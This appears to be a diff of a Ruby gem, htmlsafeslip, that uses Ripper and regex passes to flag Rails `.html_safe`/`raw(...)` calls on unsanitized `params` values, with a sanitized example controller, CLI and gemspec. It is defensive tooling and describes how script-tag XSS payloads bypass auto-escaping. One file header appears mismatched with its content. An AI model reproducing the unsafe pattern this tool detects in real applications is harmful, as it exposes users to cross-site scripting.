def comment_params
|
|
29
|
+
params.require(:comment).permit(:body)
|
|
30
|
+
end
|
|
31
|
+
end
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
# Clean: the documented, correct pattern. sanitize(...) strips disallowed
|
|
2
|
+
# tags/attributes BEFORE the value is marked safe for raw HTML rendering --
|
|
3
|
+
# a <script>...</script> payload never reaches the browser as executable
|
|
4
|
+
# markup.
|
|
5
|
+
class CommentsController < ApplicationController
|
|
6
|
+
def create
|
|
7
|
+
@comment = Comment.new(comment_params)
|
|
8
|
+
@comment.save!
|
|
9
|
+
|
|
10
|
+
render html: sanitize(params[:comment]).html_safe
|
|
11
|
+
end
|
|
12
|
+
|
|
13
|
+
def show
|
|
14
|
+
bio = params.dig(:user, :bio)
|
|
15
|
+
|
|
16
|
+
render html: raw(sanitize(bio))
|
|
17
|
+
end
|
|
18
|
+
|
|
19
|
+
private
|
|
20
|
+
|
|
21
|
+
def comment_params
|
|
22
|
+
params.require(:comment).permit(:body)
|
|
23
|
+
end
|
|
24
|
+
end
|
data/exe/htmlsafeslip
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
require_relative "lib/htmlsafeslip/version"
|
|
2
|
+
|
|
3
|
+
Gem::Specification.new do |spec|
|
|
4
|
+
spec.name = "htmlsafeslip"
|
|
5
|
+
spec.version = Htmlsafeslip::VERSION
|
|
6
|
+
spec.authors = ["Jay"]
|
|
7
|
+
spec.summary = "Flags .html_safe/raw(...) calls on a value traceable to params[...] with no sanitization applied first."
|
|
8
|
+
spec.description = <<~DESC
|
|
9
|
+
htmlsafeslip parses Ruby source with Ripper to find a call to
|
|
10
|
+
`.html_safe` directly on an expression, or a `raw(...)` wrapping one,
|
|
11
|
+
where that expression is traceable (directly, or via a same-method
|
|
12
|
+
local-variable assignment) to `params[...]`/`params.dig(...)`, with no
|
|
13
|
+
`sanitize(...)`/`strip_tags(...)`/`h(...)`/`ERB::Util.html_escape(...)`
|
|
14
|
+
call applied to it first. Both `.html_safe` and `raw(...)` tell Rails'
|
|
15
|
+
view layer "this string is already safe HTML, don't auto-escape it" --
|
|
16
|
+
calling either directly on unsanitized, user-controlled input defeats
|
|
17
|
+
Rails' single biggest built-in XSS defense, turning a reflected or
|
|
18
|
+
stored script-tag payload into live, executing HTML the instant it's
|
|
19
|
+
rendered.
|
|
20
|
+
DESC
|
|
21
|
+
spec.homepage = "https://github.com/jay-tank/htmlsafeslip"
|
|
22
|
+
spec.license = "MIT"
|
|
23
|
+
spec.required_ruby_version = ">= 3.0.0"
|
|
24
|
+
|
|
25
|
+
spec.metadata["homepage_uri"] = spec.homepage
|
|
26
|
+
spec.metadata["source_code_uri"] = spec.homepage
|
|
27
|
+
|
|
28
|
+
spec.files = Dir.chdir(File.expand_path(__dir__)) do
|
|
29
|
+
`git ls-files -z`.split("\x0").reject do |f|
|
|
30
|
+
f.match(%r{\A(?:test|spec|features)/}) || f.match(%r{\A\.github/})
|
|
31
|
+
end
|
|
32
|
+
end
|
|
33
|
+
spec.bindir = "exe"
|
|
34
|
+
spec.executables = spec.files.grep(%r{\Aexe/}) { |f| File.basename(f) }
|
|
35
|
+
spec.require_paths = ["lib"]
|
|
36
|
+
|
|
37
|
+
spec.add_development_dependency "rspec", "~> 3.13"
|
|
38
|
+
end
|
|
@@ -0,0 +1,268 @@
|
|
|
1
|
+
require "ripper"
|
|
2
|
+
|
|
3
|
+
module Htmlsafeslip
|
|
4
|
+
# Parses Ruby source with Ripper (structure only -- method boundaries are
|
|
5
|
+
# found by walking the s-expression, never by regex over raw source; a
|
|
6
|
+
# second, narrower regex pass runs only over the text of a boundary
|
|
7
|
+
# already located structurally, the same technique this workspace's
|
|
8
|
+
# argfreeze/columnskip/paramspoof packages use) looking for:
|
|
9
|
+
#
|
|
10
|
+
# 1. `.html_safe` called directly on an expression traceable (directly,
|
|
11
|
+
# or via a same-method local-variable assignment) to
|
|
12
|
+
# `params[...]`/`params.dig(...)`, or
|
|
13
|
+
# 2. `raw(...)` wrapping such a traceable expression,
|
|
14
|
+
#
|
|
15
|
+
# ...with no sanitization call (`sanitize(...)`,
|
|
16
|
+
# `ActionController::Base.helpers.sanitize(...)`, `strip_tags(...)`,
|
|
17
|
+
# `ERB::Util.html_escape(...)`/`h(...)`) applied to that value first.
|
|
18
|
+
#
|
|
19
|
+
# Both `.html_safe` and `raw(...)` tell Rails' view layer "this string is
|
|
20
|
+
# already-safe HTML, skip auto-escaping it" -- calling either directly on
|
|
21
|
+
# unsanitized, user-controlled input defeats Rails' default
|
|
22
|
+
# auto-escaping (its single biggest built-in XSS defense) and turns a
|
|
23
|
+
# reflected/stored XSS payload into live, executing HTML.
|
|
24
|
+
#
|
|
25
|
+
# HS001 - `.html_safe`/`raw(...)` on a value traceable to
|
|
26
|
+
# `params[...]`/`params.dig(...)` (same method), with no
|
|
27
|
+
# `sanitize`/`strip_tags`/`h`/`ERB::Util.html_escape` applied to
|
|
28
|
+
# that same value first.
|
|
29
|
+
class Checker
|
|
30
|
+
BALANCED_ARGS = '(?:[^()]|\([^()]*\))*'
|
|
31
|
+
|
|
32
|
+
# Names of methods/call-prefixes that sanitize a value before it's
|
|
33
|
+
# marked safe -- wrapping the traced value in any of these clears it.
|
|
34
|
+
SANITIZE_PREFIX = 'ActionController::Base\.helpers\.sanitize|sanitize|strip_tags|ERB::Util\.html_escape|h'
|
|
35
|
+
|
|
36
|
+
# One "atom" that can sit as the receiver of `.html_safe` or as the
|
|
37
|
+
# (stripped) argument of `raw(...)`:
|
|
38
|
+
# - a sanitize-shaped call, e.g. `sanitize(params[:bio])`
|
|
39
|
+
# - `params.dig(...)`
|
|
40
|
+
# - `params[...]`
|
|
41
|
+
# - a double- or single-quoted string literal (hardcoded, never
|
|
42
|
+
# traceable to params)
|
|
43
|
+
# - a bare local variable / ivar / dotted attribute chain, e.g.
|
|
44
|
+
# `bio`, `@user.bio`
|
|
45
|
+
RECEIVER_ATOM =
|
|
46
|
+
"(?:(?:#{SANITIZE_PREFIX})\\s*\\(#{BALANCED_ARGS}\\)" \
|
|
47
|
+
"|params\\s*\\.\\s*dig\\s*\\(#{BALANCED_ARGS}\\)" \
|
|
48
|
+
"|params\\s*\\[[^\\]\\n]*\\]" \
|
|
49
|
+
'|"(?:[^"\\\\]|\\\\.)*"' \
|
|
50
|
+
"|'(?:[^'\\\\]|\\\\.)*'" \
|
|
51
|
+
'|@?[a-zA-Z_]\w*(?:\s*\.\s*[a-zA-Z_]\w*)*' \
|
|
52
|
+
")"
|
|
53
|
+
|
|
54
|
+
HTML_SAFE_CALL = /(#{RECEIVER_ATOM})\s*\.\s*html_safe\b/.freeze
|
|
55
|
+
|
|
56
|
+
RAW_CALL = /\braw\s*\(((?:[^()]|\([^()]*\))*)\)/.freeze
|
|
57
|
+
|
|
58
|
+
# A local variable assigned (same method) from either a direct
|
|
59
|
+
# `params[...]`/`params.dig(...)` read (unsanitized), or from a
|
|
60
|
+
# sanitize-shaped call (sanitized) -- scanned in textual order so a
|
|
61
|
+
# later reassignment overrides an earlier one.
|
|
62
|
+
ASSIGN_RE =
|
|
63
|
+
/\b([a-z_]\w*)\s*=\s*((?:#{SANITIZE_PREFIX})\s*\(#{BALANCED_ARGS}\)|params\s*\.\s*dig\s*\(#{BALANCED_ARGS}\)|params\s*\[[^\]\n]*\])/.freeze
|
|
64
|
+
|
|
65
|
+
SANITIZED_SHAPE = /\A(?:#{SANITIZE_PREFIX})\s*\(/.freeze
|
|
66
|
+
PARAMS_SHAPE = /\Aparams\s*(?:\[|\.\s*dig\s*\()/.freeze
|
|
67
|
+
STRING_LITERAL_SHAPE = /\A["']/.freeze
|
|
68
|
+
BARE_IDENT_SHAPE = /\A@?[a-zA-Z_]\w*\z/.freeze
|
|
69
|
+
|
|
70
|
+
def initialize(paths:)
|
|
71
|
+
@paths = paths
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
def call
|
|
75
|
+
paths.flat_map { |path| scan_file(path) }
|
|
76
|
+
end
|
|
77
|
+
|
|
78
|
+
private
|
|
79
|
+
|
|
80
|
+
attr_reader :paths
|
|
81
|
+
|
|
82
|
+
def scan_file(path)
|
|
83
|
+
source = File.read(path)
|
|
84
|
+
sexp = Ripper.sexp(source)
|
|
85
|
+
return [] unless sexp
|
|
86
|
+
|
|
87
|
+
lines = source.lines
|
|
88
|
+
findings = []
|
|
89
|
+
|
|
90
|
+
each_method_node(sexp) do |class_name, def_node|
|
|
91
|
+
start_line = min_line(def_node)
|
|
92
|
+
end_line = max_line(def_node)
|
|
93
|
+
next unless start_line && end_line
|
|
94
|
+
|
|
95
|
+
method_name = def_name(def_node)
|
|
96
|
+
body_source = lines[(start_line - 1)...end_line].join
|
|
97
|
+
|
|
98
|
+
param_vars = build_param_vars(body_source)
|
|
99
|
+
|
|
100
|
+
scan_html_safe(findings, path, body_source, start_line, param_vars,
|
|
101
|
+
class_name: class_name, method_name: method_name)
|
|
102
|
+
scan_raw(findings, path, body_source, start_line, param_vars,
|
|
103
|
+
class_name: class_name, method_name: method_name)
|
|
104
|
+
end
|
|
105
|
+
|
|
106
|
+
findings
|
|
107
|
+
end
|
|
108
|
+
|
|
109
|
+
# Builds a {var_name => sanitized?} map for every `var = ...`
|
|
110
|
+
# assignment in this method body that originates from params (directly
|
|
111
|
+
# or via a sanitize-shaped wrapper), in textual order so a later
|
|
112
|
+
# reassignment wins.
|
|
113
|
+
def build_param_vars(body_source)
|
|
114
|
+
param_vars = {}
|
|
115
|
+
|
|
116
|
+
body_source.to_enum(:scan, ASSIGN_RE).each do
|
|
117
|
+
match = Regexp.last_match
|
|
118
|
+
var_name = match[1]
|
|
119
|
+
value_text = match[2]
|
|
120
|
+
param_vars[var_name] = value_text.strip.match?(SANITIZED_SHAPE)
|
|
121
|
+
end
|
|
122
|
+
|
|
123
|
+
param_vars
|
|
124
|
+
end
|
|
125
|
+
|
|
126
|
+
def scan_html_safe(findings, path, body_source, start_line, param_vars, class_name:, method_name:)
|
|
127
|
+
body_source.to_enum(:scan, HTML_SAFE_CALL).each do
|
|
128
|
+
match = Regexp.last_match
|
|
129
|
+
receiver = match[1].strip
|
|
130
|
+
|
|
131
|
+
status = analyze(receiver, param_vars)
|
|
132
|
+
next unless status == :traced_unsanitized
|
|
133
|
+
|
|
134
|
+
add_finding(findings, path, body_source, match, start_line,
|
|
135
|
+
class_name: class_name, method_name: method_name,
|
|
136
|
+
kind: "html_safe", receiver: receiver)
|
|
137
|
+
end
|
|
138
|
+
end
|
|
139
|
+
|
|
140
|
+
def scan_raw(findings, path, body_source, start_line, param_vars, class_name:, method_name:)
|
|
141
|
+
body_source.to_enum(:scan, RAW_CALL).each do
|
|
142
|
+
match = Regexp.last_match
|
|
143
|
+
arg = match[1].strip
|
|
144
|
+
next if arg.empty?
|
|
145
|
+
|
|
146
|
+
status = analyze(arg, param_vars)
|
|
147
|
+
next unless status == :traced_unsanitized
|
|
148
|
+
|
|
149
|
+
add_finding(findings, path, body_source, match, start_line,
|
|
150
|
+
class_name: class_name, method_name: method_name,
|
|
151
|
+
kind: "raw", receiver: arg)
|
|
152
|
+
end
|
|
153
|
+
end
|
|
154
|
+
|
|
155
|
+
# Classifies a receiver/argument expression as:
|
|
156
|
+
# :sanitized -- wrapped in sanitize/strip_tags/h/html_escape
|
|
157
|
+
# :traced_unsanitized -- traceable to params with no sanitization
|
|
158
|
+
# :not_traced -- a literal, an ivar/attribute chain, or an
|
|
159
|
+
# unrelated local variable (documented
|
|
160
|
+
# out-of-scope cases)
|
|
161
|
+
def analyze(text, param_vars)
|
|
162
|
+
return :sanitized if text.match?(SANITIZED_SHAPE)
|
|
163
|
+
return :traced_unsanitized if text.match?(PARAMS_SHAPE)
|
|
164
|
+
return :not_traced if text.match?(STRING_LITERAL_SHAPE)
|
|
165
|
+
|
|
166
|
+
if text.match?(BARE_IDENT_SHAPE)
|
|
167
|
+
return :not_traced if text.start_with?("@")
|
|
168
|
+
return :not_traced unless param_vars.key?(text)
|
|
169
|
+
|
|
170
|
+
return param_vars[text] ? :sanitized : :traced_unsanitized
|
|
171
|
+
end
|
|
172
|
+
|
|
173
|
+
# Anything else (a dotted attribute chain like `@user.bio`, a method
|
|
174
|
+
# call we don't specifically recognize, etc.) is not traceable to
|
|
175
|
+
# params in this same-method pass -- see DETAILS.md for the
|
|
176
|
+
# documented database/model-attribute scope limitation.
|
|
177
|
+
:not_traced
|
|
178
|
+
end
|
|
179
|
+
|
|
180
|
+
def add_finding(findings, path, body_source, match, start_line, class_name:, method_name:, kind:, receiver:)
|
|
181
|
+
line = start_line + body_source[0...match.begin(0)].count("\n")
|
|
182
|
+
|
|
183
|
+
call_text = kind == "html_safe" ? "#{receiver}.html_safe" : "raw(#{receiver})"
|
|
184
|
+
|
|
185
|
+
findings << Finding.new(
|
|
186
|
+
code: "HS001",
|
|
187
|
+
klass: class_name,
|
|
188
|
+
method: method_name,
|
|
189
|
+
kind: kind,
|
|
190
|
+
receiver: receiver,
|
|
191
|
+
file: path,
|
|
192
|
+
line: line,
|
|
193
|
+
message: "#{call_text} marks a value traceable to `#{receiver}' in " \
|
|
194
|
+
"#{method_name ? "##{method_name}" : "this method"} as already-safe HTML, with no " \
|
|
195
|
+
"sanitize(...)/strip_tags(...)/h(...)/ERB::Util.html_escape(...) call applied to it first -- " \
|
|
196
|
+
"this defeats Rails' default auto-escaping entirely, so a <script>...</script> (or any other HTML) " \
|
|
197
|
+
"payload in this value executes live, the instant it's rendered. Run it through sanitize(...) or " \
|
|
198
|
+
"strip_tags(...) before marking it safe, or drop #{kind == "html_safe" ? ".html_safe" : "raw(...)"} " \
|
|
199
|
+
"and let Rails auto-escape it. See DETAILS.md."
|
|
200
|
+
)
|
|
201
|
+
end
|
|
202
|
+
|
|
203
|
+
# Yields (enclosing_class_name, def_node) for every `def` node found
|
|
204
|
+
# anywhere in the file, tracking the nearest enclosing `class` name
|
|
205
|
+
# (nil if the method sits outside any class).
|
|
206
|
+
def each_method_node(node, class_name = nil, &block)
|
|
207
|
+
return unless node.is_a?(Array)
|
|
208
|
+
|
|
209
|
+
if node[0] == :class
|
|
210
|
+
name = const_name(node[1]) || class_name
|
|
211
|
+
node.each { |child| each_method_node(child, name, &block) }
|
|
212
|
+
return
|
|
213
|
+
end
|
|
214
|
+
|
|
215
|
+
block.call(class_name, node) if node[0] == :def || node[0] == :defs
|
|
216
|
+
|
|
217
|
+
node.each { |child| each_method_node(child, class_name, &block) }
|
|
218
|
+
end
|
|
219
|
+
|
|
220
|
+
# Handles both a plain instance `def foo` node ([:def, ident, params,
|
|
221
|
+
# bodystmt]) and a singleton `def self.foo` node ([:defs, recv, period,
|
|
222
|
+
# ident, params, bodystmt]) -- the ident sits at a different index.
|
|
223
|
+
def def_name(def_node)
|
|
224
|
+
ident = def_node[0] == :defs ? def_node[3] : def_node[1]
|
|
225
|
+
ident.is_a?(Array) && ident[0] == :@ident ? ident[1] : nil
|
|
226
|
+
end
|
|
227
|
+
|
|
228
|
+
def const_name(node)
|
|
229
|
+
parts = []
|
|
230
|
+
collect_const_leaves(node, parts)
|
|
231
|
+
parts.empty? ? nil : parts.join("::")
|
|
232
|
+
end
|
|
233
|
+
|
|
234
|
+
def collect_const_leaves(node, acc)
|
|
235
|
+
return unless node.is_a?(Array)
|
|
236
|
+
|
|
237
|
+
acc << node[1] if node[0] == :@const && node[1].is_a?(String)
|
|
238
|
+
node.each { |child| collect_const_leaves(child, acc) }
|
|
239
|
+
end
|
|
240
|
+
|
|
241
|
+
def min_line(node)
|
|
242
|
+
lines = []
|
|
243
|
+
collect_lines(node, lines)
|
|
244
|
+
lines.min
|
|
245
|
+
end
|
|
246
|
+
|
|
247
|
+
def max_line(node)
|
|
248
|
+
lines = []
|
|
249
|
+
collect_lines(node, lines)
|
|
250
|
+
lines.max
|
|
251
|
+
end
|
|
252
|
+
|
|
253
|
+
# Ripper.sexp attaches a trailing [line, column] position array to
|
|
254
|
+
# every leaf token node. Recursively collecting every such position
|
|
255
|
+
# within a subtree gives an honest (if approximate) line span for that
|
|
256
|
+
# node without a second, regex-based pass over raw source.
|
|
257
|
+
def collect_lines(node, acc)
|
|
258
|
+
return unless node.is_a?(Array)
|
|
259
|
+
|
|
260
|
+
if node.length == 2 && node.all? { |x| x.is_a?(Integer) }
|
|
261
|
+
acc << node[0]
|
|
262
|
+
return
|
|
263
|
+
end
|
|
264
|
+
|
|
265
|
+
node.each { |child| collect_lines(child, acc) }
|
|
266
|
+
end
|
|
267
|
+
end
|
|
268
|
+
end
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
require "optparse"
|
|
2
|
+
|
|
3
|
+
module Htmlsafeslip
|
|
4
|
+
module CLI
|
|
5
|
+
module_function
|
|
6
|
+
|
|
7
|
+
def run(argv, out: $stdout, err: $stderr)
|
|
8
|
+
command, *rest = argv
|
|
9
|
+
|
|
10
|
+
case command
|
|
11
|
+
when "check"
|
|
12
|
+
check(rest, out: out, err: err)
|
|
13
|
+
else
|
|
14
|
+
err.puts "usage: htmlsafeslip check <dir-or-file.rb> [<dir-or-file.rb> ...] [--json]"
|
|
15
|
+
2
|
|
16
|
+
end
|
|
17
|
+
end
|
|
18
|
+
|
|
19
|
+
def check(argv, out:, err:)
|
|
20
|
+
options = { json: false }
|
|
21
|
+
|
|
22
|
+
parser = OptionParser.new do |opts|
|
|
23
|
+
opts.banner = "usage: htmlsafeslip check <dir-or-file.rb> [...] [--json]"
|
|
24
|
+
opts.on("--json", "emit JSON instead of text") { options[:json] = true }
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
begin
|
|
28
|
+
parser.parse!(argv)
|
|
29
|
+
rescue OptionParser::ParseError => e
|
|
30
|
+
err.puts "htmlsafeslip: #{e.message}"
|
|
31
|
+
return 2
|
|
32
|
+
end
|
|
33
|
+
|
|
34
|
+
if argv.empty?
|
|
35
|
+
err.puts parser.banner
|
|
36
|
+
return 2
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
paths = argv.flat_map { |a| File.directory?(a) ? Dir.glob(File.join(a, "**", "*.rb")) : a }
|
|
40
|
+
findings = Htmlsafeslip.check(paths: paths)
|
|
41
|
+
|
|
42
|
+
out.puts(options[:json] ? Render.json(findings) : Render.text(findings))
|
|
43
|
+
|
|
44
|
+
findings.empty? ? 0 : 1
|
|
45
|
+
end
|
|
46
|
+
end
|
|
47
|
+
end
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
module Htmlsafeslip
|
|
2
|
+
# A single detected `.html_safe`/`raw(...)` call site applied to a value
|
|
3
|
+
# traceable (same-method) to `params[...]`/`params.dig(...)` with no
|
|
4
|
+
# sanitization call applied to it first.
|
|
5
|
+
#
|
|
6
|
+
# code: "HS001" every finding uses this single code (one rule: an
|
|
7
|
+
# unsanitized, params-traceable value marked safe for raw HTML
|
|
8
|
+
# rendering)
|
|
9
|
+
# klass: the enclosing class name the call site was found in (nil if
|
|
10
|
+
# the call site sits outside any class)
|
|
11
|
+
# method: the enclosing method name, e.g. "show"
|
|
12
|
+
# kind: which unescaping mechanism was used -- "html_safe" or "raw"
|
|
13
|
+
# receiver: the receiver/argument text that was marked safe, e.g.
|
|
14
|
+
# "params[:bio]", "bio", or "params.dig(:user, :bio)"
|
|
15
|
+
# file: path to the source file
|
|
16
|
+
# line: line number of the offending call
|
|
17
|
+
# message: a human-readable description
|
|
18
|
+
Finding = Struct.new(:code, :klass, :method, :kind, :receiver, :file, :line, :message, keyword_init: true) do
|
|
19
|
+
def to_h
|
|
20
|
+
{ code: code, klass: klass, method: method, kind: kind, receiver: receiver, file: file, line: line, message: message }
|
|
21
|
+
end
|
|
22
|
+
end
|
|
23
|
+
end
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
require "json"
|
|
2
|
+
|
|
3
|
+
module Htmlsafeslip
|
|
4
|
+
module Render
|
|
5
|
+
module_function
|
|
6
|
+
|
|
7
|
+
def text(findings)
|
|
8
|
+
return "htmlsafeslip: no unsanitized params-to-html_safe/raw findings" if findings.empty?
|
|
9
|
+
|
|
10
|
+
lines = findings.map do |f|
|
|
11
|
+
call_text = f.kind == "html_safe" ? "#{f.receiver}.html_safe" : "raw(#{f.receiver})"
|
|
12
|
+
"[#{f.code}] #{f.file}:#{f.line} #{call_text} -- #{f.klass ? "#{f.klass}#" : ""}#{f.method}: #{f.message}"
|
|
13
|
+
end
|
|
14
|
+
(["htmlsafeslip: #{findings.size} finding(s)"] + lines).join("\n")
|
|
15
|
+
end
|
|
16
|
+
|
|
17
|
+
def json(findings)
|
|
18
|
+
JSON.generate(findings: findings.map(&:to_h))
|
|
19
|
+
end
|
|
20
|
+
end
|
|
21
|
+
end
|
data/lib/htmlsafeslip.rb
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
require_relative "htmlsafeslip/version"
|
|
2
|
+
require_relative "htmlsafeslip/finding"
|
|
3
|
+
require_relative "htmlsafeslip/checker"
|
|
4
|
+
require_relative "htmlsafeslip/render"
|
|
5
|
+
|
|
6
|
+
module Htmlsafeslip
|
|
7
|
+
class << self
|
|
8
|
+
# Scans Ruby source files for a `.html_safe`/`raw(...)` call on a value
|
|
9
|
+
# traceable (same-method) to `params[...]`/`params.dig(...)`, with no
|
|
10
|
+
# sanitization call applied to that value first.
|
|
11
|
+
#
|
|
12
|
+
# @param paths [Array<String>] paths to .rb files to parse
|
|
13
|
+
# @return [Array<Htmlsafeslip::Finding>]
|
|
14
|
+
def check(paths:)
|
|
15
|
+
Checker.new(paths: paths).call
|
|
16
|
+
end
|
|
17
|
+
end
|
|
18
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: htmlsafeslip
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.1.0
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Jay
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: exe
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2026-10-21 00:00:00.000000000 Z
|
|
12
|
+
dependencies:
|
|
13
|
+
- !ruby/object:Gem::Dependency
|
|
14
|
+
name: rspec
|
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
|
16
|
+
requirements:
|
|
17
|
+
- - "~>"
|
|
18
|
+
- !ruby/object:Gem::Version
|
|
19
|
+
version: '3.13'
|
|
20
|
+
type: :development
|
|
21
|
+
prerelease: false
|
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
|
23
|
+
requirements:
|
|
24
|
+
- - "~>"
|
|
25
|
+
- !ruby/object:Gem::Version
|
|
26
|
+
version: '3.13'
|
|
27
|
+
description: |
|
|
28
|
+
htmlsafeslip parses Ruby source with Ripper to find a call to
|
|
29
|
+
`.html_safe` directly on an expression, or a `raw(...)` wrapping one,
|
|
30
|
+
where that expression is traceable (directly, or via a same-method
|
|
31
|
+
local-variable assignment) to `params[...]`/`params.dig(...)`, with no
|
|
32
|
+
`sanitize(...)`/`strip_tags(...)`/`h(...)`/`ERB::Util.html_escape(...)`
|
|
33
|
+
call applied to it first. Both `.html_safe` and `raw(...)` tell Rails'
|
|
34
|
+
view layer "this string is already safe HTML, don't auto-escape it" --
|
|
35
|
+
calling either directly on unsanitized, user-controlled input defeats
|
|
36
|
+
Rails' single biggest built-in XSS defense, turning a reflected or
|
|
37
|
+
stored script-tag payload into live, executing HTML the instant it's
|
|
38
|
+
rendered.
|
|
39
|
+
email:
|
|
40
|
+
executables:
|
|
41
|
+
- htmlsafeslip
|
|
42
|
+
extensions: []
|
|
43
|
+
extra_rdoc_files: []
|
|
44
|
+
files:
|
|
45
|
+
- DETAILS.md
|
|
46
|
+
- Gemfile
|
|
47
|
+
- LICENSE
|
|
48
|
+
- README.md
|
|
49
|
+
- docs/USAGE.md
|
|
50
|
+
- examples/app/controllers/comments_controller.rb
|
|
51
|
+
- examples/app/controllers/fixed_comments_controller.rb
|
|
52
|
+
- exe/htmlsafeslip
|
|
53
|
+
- htmlsafeslip.gemspec
|
|
54
|
+
- lib/htmlsafeslip.rb
|
|
55
|
+
- lib/htmlsafeslip/checker.rb
|
|
56
|
+
- lib/htmlsafeslip/cli.rb
|
|
57
|
+
- lib/htmlsafeslip/finding.rb
|
|
58
|
+
- lib/htmlsafeslip/render.rb
|
|
59
|
+
- lib/htmlsafeslip/version.rb
|
|
60
|
+
homepage: https://github.com/jay-tank/htmlsafeslip
|
|
61
|
+
licenses:
|
|
62
|
+
- MIT
|
|
63
|
+
metadata:
|
|
64
|
+
homepage_uri: https://github.com/jay-tank/htmlsafeslip
|
|
65
|
+
source_code_uri: https://github.com/jay-tank/htmlsafeslip
|
|
66
|
+
post_install_message:
|
|
67
|
+
rdoc_options: []
|
|
68
|
+
require_paths:
|
|
69
|
+
- lib
|
|
70
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
71
|
+
requirements:
|
|
72
|
+
- - ">="
|
|
73
|
+
- !ruby/object:Gem::Version
|
|
74
|
+
version: 3.0.0
|
|
75
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
76
|
+
requirements:
|
|
77
|
+
- - ">="
|
|
78
|
+
- !ruby/object:Gem::Version
|
|
79
|
+
version: '0'
|
|
80
|
+
requirements: []
|
|
81
|
+
rubygems_version: 3.3.5
|
|
82
|
+
signing_key:
|
|
83
|
+
specification_version: 4
|
|
84
|
+
summary: Flags .html_safe/raw(...) calls on a value traceable to params[...] with
|
|
85
|
+
no sanitization applied first.
|
|
86
|
+
test_files: []
|